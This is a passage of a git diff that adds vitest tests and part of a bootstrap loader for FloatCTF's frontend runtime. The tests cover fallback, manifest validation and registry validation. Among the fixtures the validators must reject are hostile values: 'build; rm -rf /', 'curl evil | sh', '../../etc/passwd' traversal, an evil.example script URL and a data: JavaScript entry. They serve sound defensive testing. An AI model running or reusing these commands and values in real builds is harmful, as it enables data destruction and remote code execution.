expect(context).not.toHaveProperty("queryClient"); + }); + + it("imports only registry-derived same-origin URLs", async () => { + const imported: string[] = []; + await bootstrapFrontend({ + root, + emergencyHost: emergency, + fetchImpl: makeFetch({ activeFrontend: "cyberpunk" }), + importModule: async (url) => { + imported.push(url); + return mountableModule("x"); + }, + loadStyle: () => document.createElement("link"), + }); + expect(imported).toEqual(["/__floatctf/frontends/cyberpunk/1.0.0/assets/frontend.js"]); + }); + + it("falls back to default when active frontend is not installed", async () => { + const result = await bootstrapFrontend({ + root, + emergencyHost: emergency, + fetchImpl: makeFetch({ activeFrontend: "not-installed" }), + importModule: async (url) => { + if (url.includes("/default/")) return mountableModule("default"); + throw new Error("should not be imported"); + }, + loadStyle: () => document.createElement("link"), + }); + expect(result.mounted).toBe(true); + expect(result.frontendId).toBe("default"); + expect(root.textContent).toBe("default"); + expect(result.diagnostics.errors.join("\n")).toContain("is not installed"); + }); + + it("falls back to default when the active frontend's dynamic import fails", async () => { + const result = await bootstrapFrontend({ + root, + emergencyHost: emergency, + fetchImpl: makeFetch({ activeFrontend: "cyberpunk" }), + importModule: async (url) => { + if (url.includes("/cyberpunk/")) throw new Error("chunk load error"); + return mountableModule("default"); + }, + loadStyle: () => document.createElement("link"), + }); + expect(result.mounted).toBe(true); + expect(result.frontendId).toBe("default"); + expect(result.diagnostics.attempted).toEqual(["cyberpunk", "default"]); + expect(result.diagnostics.errors.join("\n")).toContain("chunk load error"); + }); + + it("falls back to default when the active frontend throws during mount", async () => { + const result = await bootstrapFrontend({ + root, + emergencyHost: emergency, + fetchImpl: makeFetch({ activeFrontend: "cyberpunk" }), + importModule: async (url) => { + if (url.includes("/cyberpunk/")) { + return { + mount: () => { + throw new Error("mount exploded"); + }, + }; + } + return mountableModule("default"); + }, + loadStyle: () => document.createElement("link"), + }); + expect(result.mounted).toBe(true); + expect(result.frontendId).toBe("default"); + }); + + it("falls back to default when the active frontend is incompatible", async () => { + const result = await bootstrapFrontend({ + root, + emergencyHost: emergency, + fetchImpl: makeFetch({ activeFrontend: "legacy-runtime" }), + importModule: async () => mountableModule("default"), + loadStyle: () => document.createElement("link"), + }); + expect(result.mounted).toBe(true); + expect(result.frontendId).toBe("default"); + expect(result.diagnostics.errors.join("\n")).toContain("requires frontend runtime 9"); + }); + + it("renders the emergency UI when even the default frontend fails", async () => { + const result = await bootstrapFrontend({ + root, + emergencyHost: emergency, + fetchImpl: makeFetch({ activeFrontend: "cyberpunk" }), + importModule: async () => { + throw new Error("all chunks are gone"); + }, + loadStyle: () => document.createElement("link"), + }); + expect(result.mounted).toBe(false); + expect(emergency.querySelector("[data-floatctf-bootstrap-error]")).not.toBeNull(); + expect(emergency.textContent).toContain("FloatCTF 界面加载失败"); + expect(emergency.textContent).toContain("all chunks are gone"); + }); + + it("renders the emergency UI when the registry is unavailable", async () => { + const result = await bootstrapFrontend({ + root, + emergencyHost: emergency, + fetchImpl: makeFetch({ registryStatus: 500 }), + importModule: async () => mountableModule("default"), + loadStyle: () => document.createElement("link"), + }); + expect(result.mounted).toBe(false); + expect(emergency.querySelector("[data-floatctf-bootstrap-error]")).not.toBeNull(); + }); + + it("uses the default frontend when /api/frontend is unavailable", async () => { + const result = await bootstrapFrontend({ + root, + emergencyHost: emergency, + fetchImpl: makeFetch({ bootstrapStatus: 500 }), + importModule: async () => mountableModule("default"), + loadStyle: () => document.createElement("link"), + }); + expect(result.mounted).toBe(true); + expect(result.frontendId).toBe("default"); + expect(result.diagnostics.errors.join("\n")).toContain("bootstrap info unavailable"); + }); + + describe("?frontend= break-glass override", () => { + it("honours an installed override id regardless of FRONTEND_ACTIVE", async () => { + const result = await bootstrapFrontend({ + root, + emergencyHost: emergency, + overrideFrontendId: "default", + fetchImpl: makeFetch({ activeFrontend: "cyberpunk" }), + importModule: async (url) => + url.includes("/default/") ? mountableModule("default") : mountableModule("cyberpunk"), + loadStyle: () => document.createElement("link"), + }); + expect(result.mounted).toBe(true); + expect(result.frontendId).toBe("default"); + expect(result.diagnostics.overrideFrontendId).toBe("default"); + expect(result.diagnostics.attempted).toEqual(["default"]); + }); + + it("ignores an override that is not installed", async () => { + const result = await bootstrapFrontend({ + root, + emergencyHost: emergency, + overrideFrontendId: "attacker-frontend", + fetchImpl: makeFetch({ activeFrontend: "default" }), + importModule: async () => mountableModule("default"), + loadStyle: () => document.createElement("link"), + }); + expect(result.mounted).toBe(true); + expect(result.frontendId).toBe("default"); + expect(result.diagnostics.overrideFrontendId).toBeUndefined(); + expect(result.diagnostics.errors.join("\n")).toContain("ignored ?frontend=attacker-frontend"); + }); + + it("ignores an unsafe override value", async () => { + const imported: string[] = []; + const result = await bootstrapFrontend({ + root, + emergencyHost: emergency, + overrideFrontendId: "../../etc/passwd", + fetchImpl: makeFetch({ activeFrontend: "default" }), + importModule: async (url) => { + imported.push(url); + return mountableModule("default"); + }, + loadStyle: () => document.createElement("link"), + }); + expect(result.frontendId).toBe("default"); + expect(imported.every((url) => !url.includes(".."))).toBe(true); + }); + }); + + it("injects the registry-declared stylesheet and removes the failed frontend's styles on fallback", async () => { + const injected: string[] = []; + const result = await bootstrapFrontend({ + root, + emergencyHost: emergency, + fetchImpl: makeFetch({ activeFrontend: "cyberpunk" }), + importModule: async (url) => { + if (url.includes("/cyberpunk/")) throw new Error("boom"); + return mountableModule("default"); + }, + loadStyle: (url) => { + injected.push(url); + const link = document.createElement("link"); + link.rel = "stylesheet"; + link.href = url; + document.head.appendChild(link); + return link; + }, + }); + expect(result.frontendId).toBe("default"); + expect(injected).toEqual([ + "/__floatctf/frontends/cyberpunk/1.0.0/assets/frontend.css", + "/__floatctf/frontends/default/1.0.0/assets/frontend.css", + ]); + const remaining = Array.from(document.head.querySelectorAll("link[rel=stylesheet]")).map( + (link) => (link as HTMLLinkElement).getAttribute("href"), + ); + expect(remaining).toEqual(["/__floatctf/frontends/default/1.0.0/assets/frontend.css"]); + }); +}); diff --git a/packages/frontend-runtime/src/__tests__/cli-manifest-parity.test.ts b/packages/frontend-runtime/src/__tests__/cli-manifest-parity.test.ts new file mode 100644 index 00000000..50ba4a78 --- /dev/null +++ b/packages/frontend-runtime/src/__tests__/cli-manifest-parity.test.ts @@ -0,0 +1,157 @@ +/** + * 制品 manifest 校验的**同源(parity)测试**(Phase 12.1 / P1-B)。 + * + * 生产环境里的 `scripts/frontend.sh` 不能假设宿主有 Node,因此它用 python3 + * 重新实现了一份 manifest 校验。两份实现**必须判定一致**,否则会出现 + * "CLI 说能装、浏览器说不能加载"(或反过来)这类极难定位的故障。 + * + * 这里用同一组 fixture 分别跑: + * 1. 本包的权威解析器 `parseFrontendManifest`(制品契约) + * 2. `scripts/frontend.sh _manifest-validate-json`(制品模式 / 源码模式) + * 并断言: + * - 制品模式:接受/拒绝完全一致 + * - 源码模式:凡被接受的,其经 CLI 生成的 `frontend.json` 必须被权威解析器接受, + * 且生成物里不含任何源码专用字段 + */ +import { execFileSync } from "node:child_process"; +import { existsSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join, resolve } from "node:path"; + +import { afterAll, describe, expect, it } from "vitest"; + +import { parseFrontendManifest } from "../manifest"; + +/** + * 从当前工作目录向上找 `scripts/frontend.sh`。 + * + * 不用 `import.meta.url`:vitest 的转换结果不保证是 `file:` URL。 + * 找不到就整组跳过 —— 这个包要发布到 npm,不能假设仓库布局一定存在。 + */ +function findFrontendScript(): string | null { + let dir = process.cwd(); + for (let depth = 0; depth < 6; depth += 1) { + const candidate = join(dir, "scripts", "frontend.sh"); + if (existsSync(candidate)) return candidate; + dir = resolve(dir, ".."); + } + return null; +} + +const script = findFrontendScript(); +const available = script !== null; + +const base = { + schemaVersion: 1, + id: "demo", + name: "Demo", + version: "1.0.0", + compatibility: { frontendRuntime: "1", apiContract: "1" }, + entry: "assets/app.js", + styles: ["assets/app.css"], +}; + +type Fixture = { name: string; manifest: Record }; + +const fixtures: Fixture[] = [ + { name: "good", manifest: { ...base } }, + { name: "good-minimal", manifest: { ...base, styles: undefined } }, + { name: "good-with-optional", manifest: { ...base, description: "d", author: "a" } }, + { name: "good-sdk-note", manifest: { ...base, compatibility: { frontendRuntime: "1", apiContract: "1", sdk: "1.0.0" } } }, + { name: "unknown-field", manifest: { ...base, source: "/home/me/x" } }, + { name: "bad-schema", manifest: { ...base, schemaVersion: 2 } }, + { name: "bad-id", manifest: { ...base, id: "../evil" } }, + { name: "id-too-long", manifest: { ...base, id: `a${"b".repeat(64)}` } }, + { name: "bad-semver", manifest: { ...base, version: "1.0" } }, + { name: "semver-prerelease", manifest: { ...base, version: "1.0.0-rc.1" } }, + { name: "empty-name", manifest: { ...base, name: " " } }, + { name: "name-too-long", manifest: { ...base, name: "x".repeat(129) } }, + { name: "description-too-long", manifest: { ...base, description: "x".repeat(1025) } }, + { name: "author-too-long", manifest: { ...base, author: "x".repeat(257) } }, + { name: "compat-unknown-key", manifest: { ...base, compatibility: { frontendRuntime: "1", apiContract: "1", buildHost: "ci" } } }, + { name: "compat-runtime-mismatch", manifest: { ...base, compatibility: { frontendRuntime: "9", apiContract: "1" } } }, + { name: "compat-api-mismatch", manifest: { ...base, compatibility: { frontendRuntime: "1", apiContract: "9" } } }, + { name: "compat-missing", manifest: { ...base, compatibility: undefined } }, + { name: "compat-sdk-wrong-type", manifest: { ...base, compatibility: { frontendRuntime: "1", apiContract: "1", sdk: 1 } } }, + { name: "entry-absolute", manifest: { ...base, entry: "/etc/passwd" } }, + { name: "entry-traversal", manifest: { ...base, entry: "../../evil.js" } }, + { name: "entry-scheme", manifest: { ...base, entry: "https://evil.example/x.js" } }, + { name: "entry-backslash", manifest: { ...base, entry: "assets\\app.js" } }, + { name: "entry-dot-segment", manifest: { ...base, entry: "./assets/app.js" } }, + { name: "entry-empty", manifest: { ...base, entry: "" } }, + { name: "styles-not-array", manifest: { ...base, styles: "assets/app.css" } }, + { name: "styles-bad-path", manifest: { ...base, styles: ["../x.css"] } }, + { name: "styles-too-many", manifest: { ...base, styles: Array.from({ length: 17 }, (_, i) => `s${i}.css`) } }, + { name: "artifact-has-build", manifest: { ...base, build: { script: "build" } } }, + { name: "source-build-ok", manifest: { ...base, build: { packageManager: "pnpm", script: "build:floatctf", outputDir: "out-ui" } } }, + { name: "source-build-empty", manifest: { ...base, build: {} } }, + { name: "source-build-bad-pm", manifest: { ...base, build: { packageManager: "bun" } } }, + { name: "source-build-shell-injection", manifest: { ...base, build: { script: "build; rm -rf /" } } }, + { name: "source-build-outdir-escape", manifest: { ...base, build: { outputDir: "../../etc" } } }, + { name: "source-build-unknown-key", manifest: { ...base, build: { postinstall: "curl evil | sh" } } }, + { name: "source-build-not-object", manifest: { ...base, build: "pnpm build" } }, +]; + +const dir = available ? mkdtempSync(join(tmpdir(), "fcft-parity-")) : ""; + +afterAll(() => { + if (dir) rmSync(dir, { recursive: true, force: true }); +}); + +function writeFixture(manifest: Record, index: number): string { + const file = join(dir, `fixture-${index}.json`); + writeFileSync(file, JSON.stringify(manifest, null, 2)); + return file; +} + +function runCli(args: string[]): { ok: boolean } { + try { + execFileSync("bash", [script as string, ...args], { + stdio: ["ignore", "pipe", "pipe"], + encoding: "utf-8", + }); + return { ok: true }; + } catch { + return { ok: false }; + } +} + +function cliVerdict(manifest: Record, source: boolean, index: number): boolean { + return runCli(["_manifest-validate-json", writeFixture(manifest, index), String(source)]).ok; +} + +function parseArtifact(manifest: unknown) { + return parseFrontendManifest(manifest, { + manifestSchemaVersion: 1, + frontendRuntimeVersion: "1", + apiContractVersion: "1", + }); +} + +describe.skipIf(!available)("frontend.sh manifest validator parity", () => { + it.each(fixtures.map((fixture, index) => ({ ...fixture, index })))( + "agrees with parseFrontendManifest in artifact mode on $name", + ({ manifest, index }) => { + expect(cliVerdict(manifest, false, index)).toBe(parseArtifact(manifest).ok); + }, + ); + + it("generates a runtime-valid artifact manifest from every accepted source manifest", () => { + let accepted = 0; + fixtures.forEach((fixture, index) => { + const source = writeFixture(fixture.manifest, 1000 + index); + if (!runCli(["_manifest-validate-json", source, "true"]).ok) { + return; + } + accepted += 1; + const out = join(dir, `artifact-${index}.json`); + expect(runCli(["_manifest-to-artifact", source, out]).ok).toBe(true); + + const generated = JSON.parse(readFileSync(out, "utf-8")) as Record; + // 源码专用字段绝不允许泄漏到制品 manifest。 + expect(Object.keys(generated)).not.toContain("build"); + expect(parseArtifact(generated).ok).toBe(true); + }); + expect(accepted).toBeGreaterThan(0); + }); +}); diff --git a/packages/frontend-runtime/src/__tests__/manifest.test.ts b/packages/frontend-runtime/src/__tests__/manifest.test.ts new file mode 100644 index 00000000..f927fd5b --- /dev/null +++ b/packages/frontend-runtime/src/__tests__/manifest.test.ts @@ -0,0 +1,168 @@ +import { describe, expect, it } from "vitest"; + +import { parseFrontendManifest } from "../manifest"; + +function validManifest(overrides: Record = {}) { + return { + schemaVersion: 1, + id: "cyberpunk", + name: "Cyberpunk Frontend", + version: "1.2.0", + compatibility: { frontendRuntime: "1", apiContract: "1" }, + entry: "assets/frontend.js", + styles: ["assets/frontend.css"], + ...overrides, + }; +} + +describe("parseFrontendManifest", () => { + it("accepts a valid manifest", () => { + const result = parseFrontendManifest(validManifest()); + expect(result.ok).toBe(true); + if (!result.ok) return; + expect(result.manifest.id).toBe("cyberpunk"); + expect(result.manifest.entry).toBe("assets/frontend.js"); + expect(result.manifest.styles).toEqual(["assets/frontend.css"]); + }); + + it("accepts a JSON string input", () => { + const result = parseFrontendManifest(JSON.stringify(validManifest())); + expect(result.ok).toBe(true); + }); + + it("rejects an unsupported schemaVersion", () => { + const result = parseFrontendManifest(validManifest({ schemaVersion: 2 })); + expect(result.ok).toBe(false); + if (result.ok) return; + expect(result.errors.join("\n")).toContain("unsupported schemaVersion"); + }); + + it("rejects a missing schemaVersion", () => { + const manifest = validManifest(); + // biome-ignore lint/performance/noDelete: 测试需要构造缺字段输入 + delete (manifest as Record).schemaVersion; + const result = parseFrontendManifest(manifest); + expect(result.ok).toBe(false); + }); + + it.each([ + "Cyberpunk", + "../evil", + "a/b", + "-leading-dash", + "", + "with space", + "UPPER", + ])("rejects unsafe frontend id %j", (id) => { + const result = parseFrontendManifest(validManifest({ id })); + expect(result.ok).toBe(false); + }); + + it.each(["1.0", "v1.0.0", "1", "not-a-version", "01.2.3"])( + "rejects invalid semver version %j", + (version) => { + const result = parseFrontendManifest(validManifest({ version })); + expect(result.ok).toBe(false); + }, + ); + + it("accepts prerelease semver", () => { + const result = parseFrontendManifest(validManifest({ version: "1.2.0-rc.1" })); + expect(result.ok).toBe(true); + }); + + it.each([ + "../outside.js", + "assets/../../outside.js", + "/absolute.js", + "https://cdn.example.com/frontend.js", + "data:text/javascript,alert(1)", + "assets\\windows.js", + "./assets/frontend.js", + "assets//frontend.js", + ])("rejects traversal / absolute / scheme entry %j", (entry) => { + const result = parseFrontendManifest(validManifest({ entry })); + expect(result.ok).toBe(false); + if (result.ok) return; + expect(result.errors.join("\n")).toContain("entry"); + }); + + it.each([ + "../outside.css", + "/absolute.css", + "https://cdn.example.com/style.css", + "assets/../../outside.css", + ])("rejects traversal / absolute style %j", (style) => { + const result = parseFrontendManifest(validManifest({ styles: [style] })); + expect(result.ok).toBe(false); + if (result.ok) return; + expect(result.errors.join("\n")).toContain("styles[0]"); + }); + + it("rejects an incompatible frontend runtime major", () => { + const result = parseFrontendManifest( + validManifest({ + compatibility: { frontendRuntime: "2", apiContract: "1" }, + }), + ); + expect(result.ok).toBe(false); + if (result.ok) return; + expect(result.errors.join("\n")).toContain("compatibility.frontendRuntime"); + }); + + it("rejects an incompatible API contract major", () => { + const result = parseFrontendManifest( + validManifest({ + compatibility: { frontendRuntime: "1", apiContract: "3" }, + }), + ); + expect(result.ok).toBe(false); + if (result.ok) return; + expect(result.errors.join("\n")).toContain("compatibility.apiContract"); + }); + + it("rejects semver-range style compatibility constraints (v1 is integer major only)", () => { + const result = parseFrontendManifest( + validManifest({ + compatibility: { frontendRuntime: ">=1 <2", apiContract: "1" }, + }), + ); + expect(result.ok).toBe(false); + }); + + it("rejects unknown top-level fields (fail-closed)", () => { + const result = parseFrontendManifest(validManifest({ sidebar: true })); + expect(result.ok).toBe(false); + if (result.ok) return; + expect(result.errors.join("\n")).toContain("unknown field"); + }); + + it("treats compatibility.sdk as informational", () => { + const result = parseFrontendManifest( + validManifest({ + compatibility: { frontendRuntime: "1", apiContract: "1", sdk: "1.0.0" }, + }), + ); + expect(result.ok).toBe(true); + if (!result.ok) return; + expect(result.warnings.join("\n")).toContain("informational"); + }); + + it("rejects malformed JSON strings", () => { + const result = parseFrontendManifest("{not json"); + expect(result.ok).toBe(false); + }); + + it("rejects a non-object manifest", () => { + expect(parseFrontendManifest("[]").ok).toBe(false); + expect(parseFrontendManifest("null").ok).toBe(false); + }); + + it("validates against injected contract versions", () => { + const result = parseFrontendManifest( + validManifest({ compatibility: { frontendRuntime: "2", apiContract: "2" } }), + { frontendRuntimeVersion: "2", apiContractVersion: "2" }, + ); + expect(result.ok).toBe(true); + }); +}); diff --git a/packages/frontend-runtime/src/__tests__/registry.test.ts b/packages/frontend-runtime/src/__tests__/registry.test.ts new file mode 100644 index 00000000..066889f2 --- /dev/null +++ b/packages/frontend-runtime/src/__tests__/registry.test.ts @@ -0,0 +1,357 @@ +import { describe, expect, it } from "vitest"; + +import { + type FloatCTFRegistry, + emptyRegistry, + parseRegistry, + registerFrontendVersion, + resolveFrontend, +} from "../registry"; + +function versionEntry(overrides: Record = {}) { + return { + version: "1.0.0", + name: "Default Frontend", + compatibility: { frontendRuntime: "1", apiContract: "1" }, + entry: "assets/frontend.js", + styles: ["assets/frontend.css"], + installedAt: "2026-10-07T00:00:00.000Z", + ...overrides, + }; +} + +/** + * 刻意构造"非法注册表"用的可变视图。 + * + * 测试必须能塞进越界字段(坏 currentVersion / 穿越路径 / 不安全 ID), + * 因此这里给一个**显式**的可变形状,而不是 `any`(避免关闭类型检查)。 + */ +type MutableRegistry = { + frontends: Record< + string, + { + id?: string; + currentVersion?: string; + protected?: boolean; + versions: Record; + } + >; +}; + +function mutableRegistry(): MutableRegistry { + return validRegistry() as MutableRegistry; +} + +function validRegistry(): unknown { + return { + schemaVersion: 1, + updatedAt: "2026-10-07T00:00:00.000Z", + frontends: { + default: { + id: "default", + currentVersion: "1.0.0", + protected: true, + versions: { "1.0.0": versionEntry() }, + }, + cyberpunk: { + id: "cyberpunk", + currentVersion: "1.2.0", + versions: { + "1.1.0": versionEntry({ version: "1.1.0", name: "Cyberpunk" }), + "1.2.0": versionEntry({ version: "1.2.0", name: "Cyberpunk" }), + }, + }, + }, + }; +} + +describe("parseRegistry", () => { + it("accepts a valid registry and keeps explicit current versions", () => { + const result = parseRegistry(validRegistry()); + expect(result.ok).toBe(true); + if (!result.ok) return; + expect(Object.keys(result.registry.frontends).sort()).toEqual([ + "cyberpunk", + "default", + ]); + expect(result.registry.frontends.cyberpunk.currentVersion).toBe("1.2.0"); + }); + + it("rejects an unsupported registry schema version", () => { + const raw = validRegistry() as Record; + raw.schemaVersion = 2; + const result = parseRegistry(raw); + expect(result.ok).toBe(false); + if (result.ok) return; + expect(result.errors.join("\n")).toContain("unsupported schemaVersion"); + }); + + it("rejects a currentVersion that is not installed", () => { + const raw = mutableRegistry(); + raw.frontends.cyberpunk.currentVersion = "9.9.9"; + const result = parseRegistry(raw); + expect(result.ok).toBe(false); + if (result.ok) return; + expect(result.errors.join("\n")).toContain("currentVersion"); + }); + + it("rejects traversal paths inside the registry", () => { + const raw = mutableRegistry(); + raw.frontends.cyberpunk.versions["1.2.0"].entry = "../../../evil.js"; + const result = parseRegistry(raw); + expect(result.ok).toBe(false); + }); + + it("rejects unsafe frontend ids", () => { + const raw = mutableRegistry(); + raw.frontends["../evil"] = raw.frontends.cyberpunk; + const result = parseRegistry(raw); + expect(result.ok).toBe(false); + if (result.ok) return; + expect(result.errors.join("\n")).toContain("not a safe id"); + }); + + it("rejects an empty frontend set", () => { + const raw = validRegistry() as Record; + raw.frontends = {}; + const result = parseRegistry(raw); + expect(result.ok).toBe(false); + }); + + it("rejects malformed JSON", () => { + expect(parseRegistry("{").ok).toBe(false); + }); +}); + +describe("registerFrontendVersion", () => { + const now = "2026-10-07T00:00:00.000Z"; + + it("rejects duplicate frontend/version registration", () => { + const base = emptyRegistry(now); + const first = registerFrontendVersion(base, { + id: "cyberpunk", + version: { ...versionEntry(), version: "1.0.0" }, + }); + expect(first.ok).toBe(true); + if (!first.ok) return; + const second = registerFrontendVersion(first.registry, { + id: "cyberpunk", + version: { ...versionEntry(), version: "1.0.0" }, + }); + expect(second.ok).toBe(false); + if (second.ok) return; + expect(second.error).toContain("already installed"); + }); + + it("keeps the existing currentVersion unless makeCurrent is requested", () => { + const base = emptyRegistry(now); + const first = registerFrontendVersion(base, { + id: "cyberpunk", + version: { ...versionEntry(), version: "1.0.0" }, + }); + if (!first.ok) throw new Error(first.error); + const second = registerFrontendVersion(first.registry, { + id: "cyberpunk", + version: { ...versionEntry(), version: "1.1.0" }, + }); + if (!second.ok) throw new Error(second.error); + expect(second.registry.frontends.cyberpunk.currentVersion).toBe("1.0.0"); + + const third = registerFrontendVersion( + second.registry, + { id: "cyberpunk", version: { ...versionEntry(), version: "1.1.0" } }, + false, + ); + expect(third.ok).toBe(false); + }); + + it("moves the pointer when makeCurrent is requested", () => { + const base = emptyRegistry(now); + const first = registerFrontendVersion(base, { + id: "cyberpunk", + version: { ...versionEntry(), version: "1.0.0" }, + }); + if (!first.ok) throw new Error(first.error); + const second = registerFrontendVersion( + first.registry, + { id: "cyberpunk", version: { ...versionEntry(), version: "1.1.0" } }, + true, + ); + if (!second.ok) throw new Error(second.error); + expect(second.registry.frontends.cyberpunk.currentVersion).toBe("1.1.0"); + }); + + it("rejects unsafe ids and invalid versions", () => { + const base = emptyRegistry(now); + expect( + registerFrontendVersion(base, { id: "../x", version: versionEntry() }).ok, + ).toBe(false); + expect( + registerFrontendVersion(base, { + id: "ok", + version: { ...versionEntry(), version: "1.0" }, + }).ok, + ).toBe(false); + }); +}); + +describe("resolveFrontend", () => { + function parsed(): FloatCTFRegistry { + const result = parseRegistry(validRegistry()); + if (!result.ok) throw new Error(result.errors.join("; ")); + return result.registry; + } + + it("resolves same-origin asset URLs from validated relative paths", () => { + const result = resolveFrontend(parsed(), { + requestedId: "cyberpunk", + frontendBaseUrl: "/__floatctf/frontends", + }); + expect(result.ok).toBe(true); + if (!result.ok) return; + expect(result.frontend.version).toBe("1.2.0"); + expect(result.frontend.entryUrl).toBe( + "/__floatctf/frontends/cyberpunk/1.2.0/assets/frontend.js", + ); + expect(result.frontend.styleUrls).toEqual([ + "/__floatctf/frontends/cyberpunk/1.2.0/assets/frontend.css", + ]); + }); + + it("fails when the requested frontend is not installed (caller falls back to default)", () => { + const result = resolveFrontend(parsed(), { + requestedId: "does-not-exist", + frontendBaseUrl: "/__floatctf/frontends", + }); + expect(result.ok).toBe(false); + if (result.ok) return; + expect(result.errors.join("\n")).toContain("is not installed"); + }); + + it("fails on an unsafe requested id without touching the filesystem layout", () => { + const result = resolveFrontend(parsed(), { + requestedId: "../../etc/passwd", + frontendBaseUrl: "/__floatctf/frontends", + }); + expect(result.ok).toBe(false); + }); + + it("fails on incompatible runtime/API contract majors", () => { + const registry = parsed(); + registry.frontends.cyberpunk.versions["1.2.0"].compatibility = { + frontendRuntime: "2", + apiContract: "1", + }; + const result = resolveFrontend(registry, { + requestedId: "cyberpunk", + frontendBaseUrl: "/__floatctf/frontends", + }); + expect(result.ok).toBe(false); + if (result.ok) return; + expect(result.errors.join("\n")).toContain("requires frontend runtime 2"); + + const registry2 = parsed(); + registry2.frontends.cyberpunk.versions["1.2.0"].compatibility = { + frontendRuntime: "1", + apiContract: "7", + }; + const result2 = resolveFrontend(registry2, { + requestedId: "cyberpunk", + frontendBaseUrl: "/__floatctf/frontends", + }); + expect(result2.ok).toBe(false); + }); + + it("never picks by lexicographic ordering (9.0.0 is not chosen over 10.0.0)", () => { + const registry = parseRegistry({ + schemaVersion: 1, + updatedAt: "2026-10-07T00:00:00.000Z", + frontends: { + demo: { + id: "demo", + currentVersion: "9.0.0", + versions: { + "9.0.0": versionEntry({ version: "9.0.0" }), + "10.0.0": versionEntry({ version: "10.0.0" }), + }, + }, + }, + }); + expect(registry.ok).toBe(true); + if (!registry.ok) return; + const result = resolveFrontend(registry.registry, { + requestedId: "demo", + frontendBaseUrl: "/__floatctf/frontends", + }); + expect(result.ok).toBe(true); + if (!result.ok) return; + expect(result.frontend.version).toBe("9.0.0"); + }); +}); + +describe("public registry schema is fail-closed", () => { + const reject = (mutate: (registry: Record) => void) => { + const raw = validRegistry() as Record; + mutate(raw); + const result = parseRegistry(raw); + expect(result.ok).toBe(false); + if (result.ok) return []; + return result.errors; + }; + + it("rejects unknown root fields", () => { + const errors = reject((registry) => { + registry.operator = "alice"; + }); + expect(errors.join("\n")).toContain("unknown field `operator`"); + }); + + it("rejects unknown frontend entry fields", () => { + const errors = reject((registry) => { + const frontends = registry.frontends as Record>; + frontends.default.installedBy = "root"; + }); + expect(errors.join("\n")).toContain("unknown field `installedBy`"); + }); + + it("rejects unknown version entry fields (including legacy `source`)", () => { + const errors = reject((registry) => { + const frontends = registry.frontends as Record< + string, + { versions: Record> } + >; + frontends.default.versions["1.0.0"].source = "path:/home/alice/private"; + }); + expect(errors.join("\n")).toContain("unknown field `source`"); + }); + + it("rejects credential-looking metadata anywhere in a version entry", () => { + for (const key of ["token", "localPath", "cloneUrl", "clone_url", "credentials"]) { + const errors = reject((registry) => { + const frontends = registry.frontends as Record< + string, + { versions: Record> } + >; + frontends.default.versions["1.0.0"][key] = "https://user:token@example/repo.git"; + }); + expect(errors.join("\n")).toContain(`unknown field \`${key}\``); + } + }); + + it("rejects unknown compatibility fields", () => { + const errors = reject((registry) => { + const frontends = registry.frontends as Record< + string, + { versions: Record }> } + >; + frontends.default.versions["1.0.0"].compatibility.buildHost = "ci-1"; + }); + expect(errors.join("\n")).toContain("unknown field `buildHost`"); + }); + + it("still accepts a registry written by scripts/frontend.sh", () => { + // 与 CLI 的 sanitize_registry 输出保持一致:只有公开字段。 + const result = parseRegistry(validRegistry()); + expect(result.ok).toBe(true); + }); +}); diff --git a/packages/frontend-runtime/src/bootstrap.ts b/packages/frontend-runtime/src/bootstrap.ts new file mode 100644 index 00000000..aa022c08 --- /dev/null +++ b/packages/frontend-runtime/src/bootstrap.ts @@ -0,0 +1,320 @@ +/** + * FloatCTF 前端 bootstrap 加载器(框架无关,**不依赖 React**)。 + * + * 职责边界(与 apps/web 分工): + * - `apps/web` 是极薄的宿主:读 DOM/URL、调用本函数、渲染兜底 UI 的容器。 + * - 本函数负责:取公开 bootstrap 信息 → 读本地注册表 → 解析 → 兼容性校验 → + * 注入样式 → 动态 import 同源 ESM → `mount(context)` → 失败回退 → 兜底 UI。 + * + * 安全不变量: + * - **永不** import 任意远端 URL:只 import 由"已校验的相对路径 + 同源前缀"拼出的地址。 + * - `?frontend=` 只接受**注册表中已安装**的安全 ID,绝不直接拼进路径。 + * - 兜底 UI 只用 `textContent`,不把外部字符串当 HTML。 + */ + +import { + DEFAULT_API_BASE_URL, + DEFAULT_FRONTEND_BASE_URL, + DEFAULT_FRONTEND_ID, + DEFAULT_REGISTRY_URL, + API_CONTRACT_VERSION, + FRONTEND_RUNTIME_VERSION, +} from "./version.js"; +import { isSafeFrontendId } from "./paths.js"; +import { + type FloatCTFRegistry, + type ResolvedFrontend, + parseRegistry, + resolveFrontend, +} from "./registry.js"; +import { + type FloatCTFFrontendImport, + type FloatCTFFrontendModule, + normalizeFrontendModule, +} from "./module.js"; +import { + type BootstrapDiagnostics, + renderBootstrapEmergencyUi, +} from "./emergency.js"; + +/** `GET /api/frontend` 的响应(**仅**安全 bootstrap 元数据)。 */ +export interface FloatCTFBootstrapInfo { + active_frontend: string; + platform_version: string; + api_contract_version: string; + frontend_runtime_version: string; + capabilities: string[]; +} + +export interface BootstrapFrontendOptions { + /** 前端渲染宿主元素(会被清空)。 */ + root: HTMLElement; + /** API base URL,默认 `/api`。 */ + apiBaseUrl?: string; + /** 注册表 URL,默认 `/__floatctf/frontends/registry.json`。 */ + registryUrl?: string; + /** 前端资产前缀,默认 `/__floatctf/frontends`。 */ + frontendBaseUrl?: string; + /** 兜底 UI 宿主,默认 `document.body`。 */ + emergencyHost?: HTMLElement; + /** + * 浏览器本地紧急覆盖(`?frontend=`)。 + * 只接受注册表里已安装的安全 ID;其他值一律忽略并记入诊断。 + */ + overrideFrontendId?: string | null; + /** 回退用的前端 ID,默认 `default`。 */ + fallbackFrontendId?: string; + /** 注入依赖(测试用)。 */ + fetchImpl?: typeof fetch; + /** 动态 import 实现(测试用)。 */ + importModule?: (url: string) => Promise; + /** 样式注入实现(测试用);返回该 link 元素便于回退时移除。 */ + loadStyle?: (url: string, doc: Document) => HTMLElement; + /** 诊断回调(测试/日志用)。 */ + onDiagnostics?: (diagnostics: BootstrapDiagnostics) => void; +} + +export interface BootstrapFrontendResult { + mounted: boolean; + frontendId?: string; + frontendVersion?: string; + diagnostics: BootstrapDiagnostics; +} + +const STYLE_ATTR = "data-floatctf-frontend-style"; + +function defaultImportModule(url: string): Promise { + // 保持真正的运行时动态 import:URL 由已校验的注册表推导,绝不静态打包。 + return import(/* @vite-ignore */ url); +} + +function defaultLoadStyle(url: string, doc: Document): HTMLElement { + const link = doc.createElement("link"); + link.rel = "stylesheet"; + link.href = url; + link.setAttribute(STYLE_ATTR, "true"); + doc.head.appendChild(link); + return link; +} + +function isRecord(value: unknown): value is Record { + return typeof value === "object" && value !== null; +} + +/** 解析 `GET 